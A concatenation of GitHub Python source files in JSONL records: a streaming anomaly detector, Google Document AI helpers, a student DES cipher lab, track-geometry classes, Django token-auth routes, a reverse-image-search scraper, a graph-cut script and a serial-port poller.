float: The generated data point.\n \"\"\"\n regular_pattern = 10 * (1+0.1*(time.time() % 10))\n seasonal_element = 5 * (1+0.5*(time.time() % 10))\n random_noise = random.gauss(0, 1)\n data_point = regular_pattern + seasonal_element + random_noise\n return data_point\n\n def detect_anomaly(self, data_point: float) -> str | float:\n \"\"\"\n Detects anomalies in a data stream.\n\n Args:\n data_point (float): The data point to be checked for anomaly.\n\n Returns:\n str | float: Returns either the data point itself if it is an anomaly or 'N' if it is not.\n \"\"\"\n if len(self.data_stream) > self.window_size:\n data = np.array(\n self.data_stream[-self.window_size:]).reshape(-1, 1)\n\n self.model.fit(data)\n anomaly_score = self.model.decision_function([[data_point]])\n\n if anomaly_score < 0:\n logger.info(\n f'\\nData Point : {data_point}\\nAnomaly Score : {anomaly_score}\\n')\n return data_point\n else:\n return 'N'\n\n else:\n return 'N'\n","repo_name":"saurzv/data-stream-anomaly-detection","sub_path":"flaskr/data_stream.py","file_name":"data_stream.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27496912159","text":"'''\nThis file has all the necessary api calls code which are required during\nthe complete process\n'''\n#importing libraries\nfrom cf_config import property_set\nfrom cf_config import env_var\nfrom google.cloud import documentai_v1 as documentai\nfrom google.cloud import contentwarehouse\nfrom google.cloud import storage\nimport google.cloud.contentwarehouse_v1.types\nfrom google.api_core.client_options import ClientOptions\n\ndef process_document_ocr(\n project_id: str, location: str, processor_id: str, file_path: str, mime_type: str\n) -> documentai.Document:\n '''\n This function is used to invoke the DocOCR processor for sync requests\n\n Args:\n project_id : str\n Contains the Project id\n\n location : str\n Contains the location of processor\n \n processor_id: str:\n Contains the processor id\n\n file_path : str\n Contains the local file path of the file\n\n mime_type : str\n Contains the mime type of file(for pdf - application/pdf)\n\n Returns:\n result.document : Document proto object\n Contains the DocOCR response\n '''\n # You must set the api_endpoint if you use a location other than 'us'.\n opts = ClientOptions(api_endpoint=f\"{location}-documentai.googleapis.com\")\n\n client = documentai.DocumentProcessorServiceClient(client_options=opts)\n\n # The full resource name of the processor, e.g.:\n # projects/project_id/locations/location/processor/processor_id\n name = client.processor_path(project_id, location, processor_id)\n\n # Read the file into memory\n with open(file_path, \"rb\") as image:\n image_content = image.read()\n\n # Load Binary Data into Document AI RawDocument Object\n raw_document = documentai.RawDocument(content=image_content, mime_type=mime_type)\n\n # Configure the process request\n request = documentai.ProcessRequest(name=name, raw_document=raw_document)\n\n result = client.process_document(request=request)\n\n return result.document\n \ndef doc_warehouse_creation(project_number,\n location,\n doc,\n schema_id,\n display_name,\n gcs_input_uri,\n key_val_dict \n ):\n '''\n This function is used to initialize and set properties for DocAI Warehouse.\n\n Args:\n location : str\n Contains the location of processor\n \n doc : Document proto object\n Contains the document response of CDE\n \n schema_id : str\n Contains the predefined schema id\n\n gcs_input_uri : str\n Contains the gs path of the file\n\n key_val_dict : dict\n Contains the key value dictionary \n '''\n document = contentwarehouse.Document()\n document.display_name = display_name\n document.reference_id = display_name\n document.title = document.display_name\n document.document_schema_name = schema_id \n document.raw_document_file_type = contentwarehouse.RawDocumentFileType.RAW_DOCUMENT_FILE_TYPE_PDF\n document.raw_document_path = gcs_input_uri\n document.text_extraction_disabled = False\n document.plain_text= doc.text\n document.cloud_ai_document = doc._pb\n document = property_set(document, key_val_dict)\n load_request = contentwarehouse.CreateDocumentRequest()\n load_request.parent = f\"projects/{project_number}/locations/{location}\"\n load_request.document = document\n request_metadata = contentwarehouse.RequestMetadata()\n request_metadata.user_info = contentwarehouse.UserInfo()\n request_metadata.user_info.id = env_var[\"sa_user\"]\n load_request.request_metadata = request_metadata\n document_client = contentwarehouse.DocumentServiceClient()\n load_resp = document_client.create_document(request=load_request)\n \ndef process_document_sample_cde(\n project_id: str,\n location: str,\n processor_id: str,\n file_path: str,\n mime_type: str,\n field_mask: str = None,\n):\n '''\n This function is used to invoke the CDE processor.\n\n Args:\n project_id : str\n Contains the Project id\n\n location : str\n Contains the location of processor\n \n processor_id: str:\n Contains the processor id\n\n file_path : str\n Contains the local file path of the file\n\n mime_type : str\n Contains the mime type of file(for pdf - application/pdf)\n\n Returns:\n document : Document proto object\n Contains the CDE response\n '''\n # You must set the api_endpoint if you use a location other than 'us', e.g.:\n opts = ClientOptions(api_endpoint=f\"{location}-documentai.googleapis.com\")\n client = documentai.DocumentProcessorServiceClient(client_options=opts)\n # The full resource name of the processor, e.g.:\n # projects/{project_id}/locations/{location}/processors/{processor_id}\n name = client.processor_path(project_id, location, processor_id)\n\n # Read the file into memory\n with open(file_path, \"rb\") as image:\n image_content = image.read()\n\n # Load Binary Data into Document AI RawDocument Object\n raw_document = documentai.RawDocument(content=image_content, mime_type=mime_type)\n\n # Configure the process request\n request = documentai.ProcessRequest(\n name=name, raw_document=raw_document, field_mask=field_mask\n )\n\n result = client.process_document(request=request)\n document = result.document\n\n # Read the text recognition output from the processor\n return document","repo_name":"ghsamira/hc-doc-ai-wh-poc","sub_path":"hc-cloud-function/api_call_utils.py","file_name":"api_call_utils.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16411311870","text":"\nfrom copy import deepcopy\nfrom itertools import zip_longest\nimport random\nfrom re import I\nimport secrets\nfrom typing import Iterable\n\n#testing branch\nclass KeyManager:\n @staticmethod\n def read_key(key_file: str) -> bytes:\n with open(key_file, 'rb') as f:\n return f.read()\n \n @staticmethod\n def save_key(key_file: str, key: bytes):\n with open(key_file, 'wb') as f:\n f.write(key)\n\n def __init__(self, seed=None):\n self.random = random.Random(seed)\n \n def generate_key(self, key_len=256) -> bytes:\n \"\"\"\"\n Generate a random key of length key_len (bit length).\n return: random bytes of length (key_len // 8)\n \"\"\"\n return secrets.token_bytes(key_len//8)\n\n\ndef bitize(byts: bytes) -> 'list[int]':\n \"\"\"\n bitize bytes\n \"\"\"\n # each number of the original setup is hex and decides what 4 of the final bits will be f = 1111 2 = 0010\n bits = list()\n\n #convert bytes into hex string\n byts = byts.hex()\n\n for byte in byts:\n #convert each hex digit into len 4 bit str \n temp = bin(int(byte,16))[2:].zfill(4)\n #append each bit to total length\n for bit in temp: bits.append(int(bit))\n\n return bits\n\ndef debitize(bits: Iterable[int]) -> bytes:\n \"\"\"\n debbitize a list of bits\n \"\"\"\n if len(bits) % 8 != 0:\n raise ValueError('bits length is not a multiple of 8')\n\n byts = \"\"\n chunk_size = 4\n #chunk list into size chunk_size lists\n list_chunked = [bits[i:i + chunk_size] for i in range(0, len(bits), chunk_size)]\n #print(list_chunked)\n for list in list_chunked:\n count = 0\n #convert 4 digit bin string to hex and concat it to byts\n count+= list[0]*8+list[1]*4+list[2]*2+list[3]\n byts+=(hex(count)[2:])\n #return bytes from the hex string\n return bytes.fromhex(byts)\n \n\ndef bit2hex(bits: Iterable[int]) -> str:\n \"\"\"\n convert bits to hex string\n \"\"\"\n return debitize(bits).hex()\n\ndef hex2bit(hex_str: str) -> list:\n \"\"\"\n convert hex string to bits\n \"\"\"\n return bitize(bytes.fromhex(hex_str))\n\ndef permute(raw_seq: Iterable, table: Iterable[int]) -> list:\n \"\"\"\n permute bits with a table\n \"\"\"\n result = list()\n for i in table:\n result.append(raw_seq[i])\n #if index in table is 40 and the value is 3, the 40th index in raw_seq goes to the new third index\n return result # just a placeholder\n\ndef xor(bits1: Iterable[int], bits2: Iterable[int]) -> 'list[int]':\n \"\"\"\n xor two bits\n \"\"\"\n result = list()\n for b1,b2 in zip_longest(bits1,bits2, fillvalue= 0):\n result.append( 1 if b1!=b2 else 0)\n \n return result \n\nclass DES:\n\n # initial permutation\n IP = [\n 57, 49, 41, 33, 25, 17, 9, 1,\n 59, 51, 43, 35, 27, 19, 11, 3,\n 61, 53, 45, 37, 29, 21, 13, 5,\n 63, 55, 47, 39, 31, 23, 15, 7,\n 56, 48, 40, 32, 24, 16, 8, 0,\n 58, 50, 42, 34, 26, 18, 10, 2,\n 60, 52, 44, 36, 28, 20, 12, 4,\n 62, 54, 46, 38, 30, 22, 14, 6\n ]\n\n # final permutation\n FP = [\n 39, 7, 47, 15, 55, 23, 63, 31,\n 38, 6, 46, 14, 54, 22, 62, 30,\n 37, 5, 45, 13, 53, 21, 61, 29,\n 36, 4, 44, 12, 52, 20, 60, 28,\n 35, 3, 43, 11, 51, 19, 59, 27,\n 34, 2, 42, 10, 50, 18, 58, 26,\n 33, 1, 41, 9, 49, 17, 57, 25,\n 32, 0, 40, 8, 48, 16, 56, 24\n ]\n\n # parity-bit drop table for key schedule\n KEY_DROP = [\n 56, 48, 40, 32, 24, 16, 8, 0,\n 57, 49, 41, 33, 25, 17, 9, 1,\n 58, 50, 42, 34, 26, 18, 10, 2,\n 59, 51, 43, 35, 62, 54, 46, 38,\n 30, 22, 14, 6, 61, 53, 45, 37,\n 29, 21, 13, 5, 60, 52, 44, 36,\n 28, 20, 12, 4, 27, 19, 11, 3\n ]\n\n BIT_SHIFT = [\n 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1\n ]\n\n # key compression permutation\n KEY_COMPRESSION = [\n 13, 16, 10, 23, 0, 4, 2, 27,\n 14, 5, 20, 9, 22, 18, 11, 3,\n 25, 7, 15, 6, 26, 19, 12, 1,\n 40, 51, 30, 36, 46, 54, 29, 39,\n 50, 44, 32, 47, 43, 48, 38, 55,\n 33, 52, 45, 41, 49, 35, 28, 31\n ]\n \n # D box, key expansion permutation\n D_EXPANSION = [\n 31, 0, 1, 2, 3, 4,\n 3, 4, 5, 6, 7, 8,\n 7, 8, 9, 10, 11, 12,\n 11, 12, 13, 14, 15, 16, \n 15, 16, 17, 18, 19, 20,\n 19, 20, 21, 22, 23, 24,\n 23, 24, 25, 26, 27, 28, \n 27, 28, 29, 30, 31, 0\n ]\n \n # S boxes\n S1 = [\n [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],\n [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],\n [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],\n [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]\n ]\n\n S2 = [\n [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],\n [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],\n [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],\n [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]\n ]\n\n S3 = [\n [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],\n [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],\n [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],\n [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]\n ]\n\n S4 = [\n [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],\n [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],\n [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],\n [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]\n ]\n\n S5 = [\n [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],\n [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],\n [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],\n [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]\n ]\n\n S6 = [\n [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],\n [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],\n [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],\n [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]\n ]\n\n S7 = [\n [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],\n [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],\n [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],\n [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]\n ]\n\n S8 = [\n [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],\n [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],\n [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],\n [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]\n ]\n \n # S-box substitution\n S = [S1, S2, S3, S4, S5, S6, S7, S8]\n \n # D box, straight permutation\n D_STRAIGHT = [\n 15, 6, 19, 20, 28, 11, 27, 16,\n 0, 14, 22, 25, 4, 17, 30, 9,\n 1, 7, 23, 13, 31, 26, 2, 8,\n 18, 12, 29, 5, 21, 10, 3, 24\n ]\n\n @staticmethod\n def key_generation(key: 'list[int]') -> 'list[list[int]]':\n \"\"\"\n raw_key: 64 bits\n return: 16 * (48bits key)\n \"\"\"\n keys= list()\n #drop parity bits looks like its working\n parityDropped = permute(key,DES.KEY_DROP)\n #split left right\n chunk_size = 28\n (leftkey,rightkey) = [parityDropped[i:i + chunk_size] for i in range(0, len(parityDropped), chunk_size)]\n \n # 16 round for loop, shift keys combine thats a new key and add to key list \n #repeat\n for loop in range(16):\n #shiftkeys\n DES.shiftLeft(leftkey,DES.BIT_SHIFT[loop])\n DES.shiftLeft(rightkey,DES.BIT_SHIFT[loop])\n #combine keys again\n newkey = leftkey+rightkey\n # permute to make 48 bits and add to key list\n keys.append(permute(newkey,DES.KEY_COMPRESSION))\n return keys\n\n @staticmethod\n def shiftLeft(key: 'list[int]',numShifts: 'int') -> 'list[int]':\n for shifts in range(numShifts):\n Storagebit = key[0]\n for restBits in range(1,28):\n key[restBits-1] = key[restBits]\n key[27] = Storagebit\n return key\n \n @staticmethod\n def f(R: 'list[int]', key: 'list[int]') -> 'list[int]':\n \"\"\"\n f function\n R: 32 bits\n key: 48 bits\n return: 32 bits\n \"\"\"\n #permute R expantion table to expand to 48 bits\n expanded = permute(R,DES.D_EXPANSION)\n #xor expanded r and key\n whitener = xor(expanded,key)\n #break into 8 len(6) chunks\n chunk_size = 6\n chunks = [whitener[i:i + chunk_size] for i in range(0, len(whitener), chunk_size)]\n post_sbox= list()\n #for each chunk get the row and collum from the bits in each chunk,\n #then appened the correct bit to the output according to the DES sbox tables\n for chunk in range(8):\n row = chunks[chunk][0]*2 +chunks[chunk][5]\n column = chunks[chunk][1]*8 +chunks[chunk][2]*4+chunks[chunk][3]*2+chunks[chunk][4] \n outbyte = bin(DES.S[chunk][row][column])[2:].zfill(4)\n for bit in range(4): post_sbox.append(int(outbyte[bit]))\n #return the sbox output permuted witth the straight Dbox\n return permute(post_sbox,DES.D_STRAIGHT)\n\n @staticmethod \n def mixer(L: 'list[int]', R: 'list[int]', sub_key: 'list[int]') -> 'tuple[list[int]]':\n \"\"\"\n right_half: 32 bits\n sub_key: 48 bits\n return: 32 bits\n \"\"\"\n # f function the right key with the correct sub key, then xor that output witht the left key\n #return the xor output with the origional right key as a tuple\n return (xor(L,DES.f(R,sub_key)),R)\n \n @staticmethod\n def swapper(L: 'list[int]', R: 'list[int]') -> 'tuple[list[int]]':\n #swaps the left and right key and returns as tuple\n return R, L\n\n def __init__(self, raw_key: bytes) -> None:\n # for encryption use\n self.keys = DES.key_generation(bitize(raw_key))\n \n # for decryption use\n self.reverse_keys = deepcopy(self.keys)\n self.reverse_keys.reverse()\n\n def enc_block(self, block: 'list[int]') -> 'list[int]':\n \"\"\"\n Encrypt a block of 64 bits (8 bytes).\n block: 64 bits.\n return: 64 bits.\n \"\"\"\n #hardcoded for internal testing, if 0 ignore tests if 1 there will be a known input so you can check outputs\n testing = 0\n #intial permutation\n initial = permute(block,self.IP)\n if testing==1 :\n print(\"start enc_block test\")\n assert bit2hex(initial) ==\"14a7d67818ca18ad\"\n print(\"IP PASSED\")\n\n #splitblock into 2 chunks\n chunk_size = 32\n (leftBlock,rightBlock) = [initial[i:i + chunk_size] for i in range(0, len(initial), chunk_size)]\n \n if testing==1 :\n assert bit2hex(leftBlock) ==\"14a7d678\"\n assert bit2hex(rightBlock)==\"18ca18ad\"\n print(\"SPLITTING PASSED\")\n \n assert bit2hex(xor(leftBlock,self.f(rightBlock,self.keys[0])))==\"5a78e394\"\n print(\"FUNCTION PASSED\")\n\n #repeat 16 times do mixer function all 16 and swap on all but last loop according to DES function\n for loop in range(16):\n leftBlock = self.mixer(leftBlock,rightBlock,self.keys[loop])[0]\n \n if(loop!=15): \n (leftBlock,rightBlock) = self.swapper(leftBlock,rightBlock)\n #return output after finalpermutation\n return permute(leftBlock+rightBlock,self.FP)\n \n\n def dec_block(self, block: 'list[int]') -> 'list[int]':\n \"\"\"\n similar to enc_block\n block: 64 bits\n return: 64 bits\n \"\"\"\n #intial permutation\n initial = permute(block,self.IP)\n \n #splitblock into 2 chunks\n chunk_size = 32\n (leftBlock,rightBlock) = [initial[i:i + chunk_size] for i in range(0, len(initial), chunk_size)]\n \n #repeat 16 times do mixer function all 16 and swap on all but last loop according to DES function\n for loop in range(16):\n leftBlock = self.mixer(leftBlock,rightBlock,self.keys[15-loop])[0]\n if(loop!=15): \n (leftBlock,rightBlock) = self.swapper(leftBlock,rightBlock)\n #return output after finalpermutation\n return permute(leftBlock+rightBlock,self.FP)\n\n def encrypt(self, msg_str: str) -> bytes:\n \"\"\"\n Encrypt the whole message.\n Handle block division here.\n *Inputs are guaranteed to have a length divisible by 8.\n \"\"\"\n encrypted = list()\n chunk_size = 8\n #chunk list into size chunk_size lists\n msg_chunked = [msg_str[i:i + chunk_size] for i in range(0, len(msg_str), chunk_size)]\n #for each chunk, encode it into bytes, turn those bytes into bit list, and encrypt that 64 bit list\n for chunk in msg_chunked:\n encrypted+=(self.enc_block(bitize(chunk.encode())))\n #take that encrypted 64 bit list and turn it back into bytes and return it\n return debitize(encrypted) # just a placeholder\n \n def decrypt(self, msg_bytes: bytes) -> str:\n \"\"\"\n Decrypt the whole message.\n Similar to encrypt.\n \"\"\"\n decrypted = \"\"\n msg = msg_bytes.hex()\n chunk_size = 16\n #chunk list into size chunk_size lists\n msg_chunked = [msg[i:i + chunk_size] for i in range(0, len(msg), chunk_size)]\n\n #for each hex chunk turn it into bytes and decrypt that block of bytes,\n #then turn that block back into hex and add it to decrypted\n for chunk in msg_chunked:\n result= bit2hex(self.dec_block(bitize(bytes.fromhex(chunk))))\n for bit in result:\n decrypted+=bit\n # return the decoded string\n return (bytes.fromhex(decrypted).decode())","repo_name":"Ethan-Hopkins/Wirelessecurity","sub_path":"Lab1/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":13927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42120276651","text":"from enum import Enum\nimport math\n\nfrom ec.common import Bearing\n\n\nclass Q(Enum):\n NONE, NE, SE, SW, NW = range(5)\n\n\nclass CoordError(Exception):\n pass\n\n\nclass TrackCoord(object):\n \"\"\" Contains the coordinates and curvature of a point on a track. Used to\n carry information between curve sections.\n org_curvature and org_length are used to store info about length of\n track beforehand.\n \"\"\"\n\n def __init__(self, pos_x, pos_z, rotation, quad, curvature=None,\n org_curvature=None, org_length=None, org_type=None):\n # Properties only\n self._bearing = None\n self._curvature = None\n self._org_curvature = None\n\n # Setting instance variables\n self.pos_x = pos_x\n self.pos_z = pos_z\n self.curvature = curvature\n self.org_length = org_length\n self.org_curvature = org_curvature\n self.org_type = org_type\n\n # Check if position values are valid\n try:\n math.sqrt(self.pos_x ** 2 + self.pos_z ** 2)\n except TypeError as err:\n raise CoordError('Position values must be int/floats.', err)\n\n # Converting y-axis rotation and quadrant to bearing\n if quad in [Q.NE, Q.SE, Q.SW, Q.NW]:\n self.quad = (rotation, quad)\n elif quad == Q.NONE:\n self.bearing = rotation\n else:\n raise CoordError('quad argument must either be a compass '\n 'quadrant or none.')\n\n @property\n def bearing(self):\n return self._bearing\n\n @bearing.setter\n def bearing(self, value):\n # Check if value is already a Bearing object\n try:\n value.rad\n except AttributeError:\n self._bearing = Bearing(value, rad=True)\n else:\n self._bearing = value\n\n @property\n def quad(self):\n bearing = self._bearing.deg\n quadrants = {\n 0: (bearing, Q.NE.name),\n 90: (180 - bearing, Q.SE.name),\n 180: (bearing - 180, Q.SW.name),\n 270: (360 - bearing, Q.NW.name)\n }\n\n for r in quadrants.keys():\n if r <= bearing < r + 90:\n return quadrants[r]\n else:\n # Just in case bearing was 360 and escaped the above dict\n if round(bearing) == 360:\n return quadrants[0]\n # Otherwise, raises error\n raise ValueError(\n 'Bearing: {} is not within [0, 360) / [0, 2pi).'\n ''.format(repr(bearing)))\n\n @quad.setter\n def quad(self, value):\n try:\n rotation, quad = value\n except ValueError as err:\n raise ValueError('The quad property requires two values: '\n 'rotation and quadrant.') from err\n\n quadrants = {\n Q.NE: abs(rotation),\n Q.SE: 180 - abs(rotation),\n Q.SW: 180 + abs(rotation),\n Q.NW: 360 - abs(rotation)\n }\n\n try:\n if abs(rotation) <= 90:\n self._bearing = Bearing(quadrants[quad])\n else:\n raise CoordError('The y-axis rotation must be in the range '\n '[-90, 90].')\n\n except KeyError:\n raise CoordError('{!r} is not a valid quadrant.'.format(quad))\n\n except TypeError as err:\n raise CoordError(\n '{0:!r} is not a valid number for the rotation variable.'\n ''.format(rotation), err)\n\n @staticmethod\n def get_radius_clockwise(stored_variable):\n if stored_variable < 0:\n return 1 / abs(stored_variable), 'CW'\n elif stored_variable > 0:\n return 1 / abs(stored_variable), 'ACW'\n else:\n return 0, 'straight'\n\n @staticmethod\n def set_radius_clockwise(var, stored_var):\n raise AttributeError('Property {0} cannot be set on its own. Use the '\n '{1} property.'.format(var, stored_var))\n\n @property\n def curvature(self):\n return self._curvature\n\n @curvature.setter\n def curvature(self, value):\n self._curvature = value\n\n @property\n def radius(self):\n return self.get_radius_clockwise(self._curvature)[0]\n\n @radius.setter\n def radius(self):\n self.set_radius_clockwise('radius', 'curvature')\n\n @property\n def clockwise(self):\n return self.get_radius_clockwise(self._curvature)[1]\n\n @clockwise.setter\n def clockwise(self):\n self.set_radius_clockwise('clockwise', 'curvature')\n\n @property\n def org_curvature(self):\n return self._org_curvature\n\n @org_curvature.setter\n def org_curvature(self, value):\n self._org_curvature = value\n\n @property\n def org_radius(self):\n return self.get_radius_clockwise(self._org_curvature)[0]\n\n @org_radius.setter\n def org_radius(self):\n self.set_radius_clockwise('org_radius', 'org_curvature')\n\n @property\n def org_clockwise(self):\n return self.get_radius_clockwise(self._org_curvature)[1]\n\n @org_clockwise.setter\n def org_clockwise(self):\n self.set_radius_clockwise('org_clockwise', 'org_curvature')\n\n def move(self, mv_x, mv_z):\n \"\"\" Moves the TrackCoord object to a different set of coordinates.\n The coord argument must be a tuple (x, z) of length 2.\n \"\"\"\n self.pos_x += mv_x\n self.pos_z += mv_z\n\n def __repr__(self):\n return 'org: {ol} {oc}; pos: {px} {pz}; curv: {c}; brg: {b}'.format(\n ol=self.org_length, oc=self._org_curvature, px=self.pos_x,\n pz=self.pos_z, c=self._curvature, b=repr(self._bearing)\n )\n\n def __str__(self):\n if self.curvature == 0:\n str_r = \"Straight section:\"\n else:\n radius = self.radius\n str_r = (\"Curved section: radius of curvature \"\n \"{:.0f}\".format(radius))\n\n return (\"{r} position ({x:.3f}, {z:.3f}) and bearing of {a:.3f}\"\n \"\".format(r=str_r, x=self.pos_x, z=self.pos_z,\n a=self.bearing.deg))\n","repo_name":"macph/easement-curve","sub_path":"ec/coord.py","file_name":"coord.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21917618137","text":"from django.urls import path\nfrom . import views\nfrom rest_framework.authtoken.views import obtain_auth_token\nurlpatterns = [\n path('books/',views.BooksView.as_view()),\n path('books/',views.SingleBookView.as_view()),\n path('categories/',views.CategoryView.as_view()),\n path(\"secret/\",views.secret),\n path(\"obtain-auth-token/\",obtain_auth_token)\n]\n\n","repo_name":"DebasishMohanta10/TokenAuthentication","sub_path":"booksAPI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24423573717","text":"from abc import abstractmethod, ABC\nfrom urllib.parse import unquote\n\nimport requests\nfrom pyquery import PyQuery as pq\n\n\nclass ReverseImageInfo:\n def __init__(self, ref_url: str, extra_info: dict):\n self.ref_url = ref_url\n self.extra_info = extra_info\n\n ref_url: str\n extra_info: dict\n\n def __repr__(self):\n return f\"ReverseImageInfo({self.__dict__})\"\n\n\nclass AbstractReverseSearchEngine(ABC):\n def __init__(self):\n super().__init__()\n\n @abstractmethod\n def get_info_from_search_engine(self, orig_img: str):\n pass\n\n def search(self, orig_img: str) -> [ReverseImageInfo]:\n return self.get_info_from_search_engine(orig_img)\n\n\nclass GoogleReverseSearchEngine(AbstractReverseSearchEngine):\n DEFAULT_HEADERS = {'User-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0'}\n DEFAULT_URL = \"https://www.google.com/searchbyimage?image_url=\"\n\n def __init__(self, headers=None, url=DEFAULT_URL):\n super().__init__()\n if headers is None:\n headers = self.DEFAULT_HEADERS\n self.headers = headers\n self.url = url\n\n @staticmethod\n def transform(item):\n return ReverseImageInfo(item[\"imgrefurl\"], {\n \"height\": item[\"h\"],\n \"width\": item[\"w\"],\n \"imgurl\": item[\"imgurl\"]\n })\n\n def get_info_from_search_engine(self, orig_img: str) -> [ReverseImageInfo]:\n r = requests.get(self.url + orig_img, headers=self.headers).text\n res_list = []\n for i in pq(r).find(\".g\"):\n if pq(i).find(\"div:has(img)\"):\n try:\n res_list.append(\n {\n k[0]: unquote(k[1])\n for k in [i.split(\"=\") for i in pq(i)\n .find(\".rGhul\")\n .attr(\"href\")[8:]\n .split(\"&\")]\n }\n )\n except Exception:\n continue\n return list(map(lambda raw_item: self.transform(raw_item), res_list))\n","repo_name":"nlfox/image_reverse_search","sub_path":"image_reverse_search/abstract_search.py","file_name":"abstract_search.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14727269652","text":"import sys\nimport time\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom networkx.algorithms import flow\nfrom networkx.algorithms.flow import shortest_augmenting_path\n\n# init\npathLength = 4924\nG = nx.Graph();\n\n\nfor i in range(0, 4923):\n\tG.add_node(i)\n\n#file = open(\"/home/yh/mapModel/2018/10.16/pose_graph.txt\")\nfile = open(\"/home/yinhuan/pose_graph_yq_vis50.txt\")\n\nprint('file open, adding edges')\n\nfor line in file.readlines():\n\tline.strip('\\n')\t\n\tnums = line.split(\" \")\n\tnums = [int(x) for x in nums ]\n\tG.add_weighted_edges_from([tuple(nums)])\n\nfile.close()\n\nprint('start gomory')\n\n# gomory and count time\nstart = time.clock()\nT = nx.gomory_hu_tree(G, capacity='weight', flow_func=shortest_augmenting_path)\nelapsed = (time.clock() - start)\nprint(\"Time used:\",elapsed)\n\n# save\nnx.write_weighted_edgelist(T, '/home/yinhuan/gomory_yq_vis50.txt')\n\n\n\n# draw try, it's a mass of course\n# weight = nx.get_edge_attributes(T,'weight')\n# nx.draw_circular(T, with_labels=True, font_weight='bold')\n# layout = nx.circular_layout(T)\n# nx.draw_networkx_edge_labels(T,pos=layout,edge_labels=weight)\n# plt.show()\n# #","repo_name":"HuanYin94/map_compression","sub_path":"gurobi/before/graph_cut/python/NetworkX/no_use/gomory_tree_pose.py","file_name":"gomory_tree_pose.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"48"} +{"seq_id":"40974183382","text":"import serial\nimport time\n\ndef readlineCR(port):\n rv = \"\"\n while True:\n ch = port.readlines()\n # rv += ch\n # if ch=='\\r' or ch=='':\n # return rv\n return ch\n\ndef run():\n ptn1 = [0x05, 0x30, 0x30, 0x46, 0x46, 0x57, 0x52, 0x30, 0x44, 0x30, 0x39, 0x30, 0x32, 0x30, 0x32]\n ptn2 = [0x06, 0x30, 0x30, 0x46, 0x46]\n # port = serial.Serial(\"/dev/ttyAMA0\", baudrate=115200, timeout=3.0)\n port = serial.Serial(port='com5', baudrate=9600, parity='O', stopbits=1, bytesize=8, timeout=1.0)\n # print(\"baudrate:{}\".format(Ubaudrate))\n ary1 = bytearray(ptn1)\n ary2 = bytearray(ptn2)\n while True:\n port.write(ary1)\n time.sleep(0.00)\n port.write(ary2)\n time.sleep(0.0)\n rcv = readlineCR(port)\n # port.write('\\r\\nYou sent:'+repr(rcv))\n print(rcv)\n time.sleep(0)\n\nif __name__ == '__main__':\n 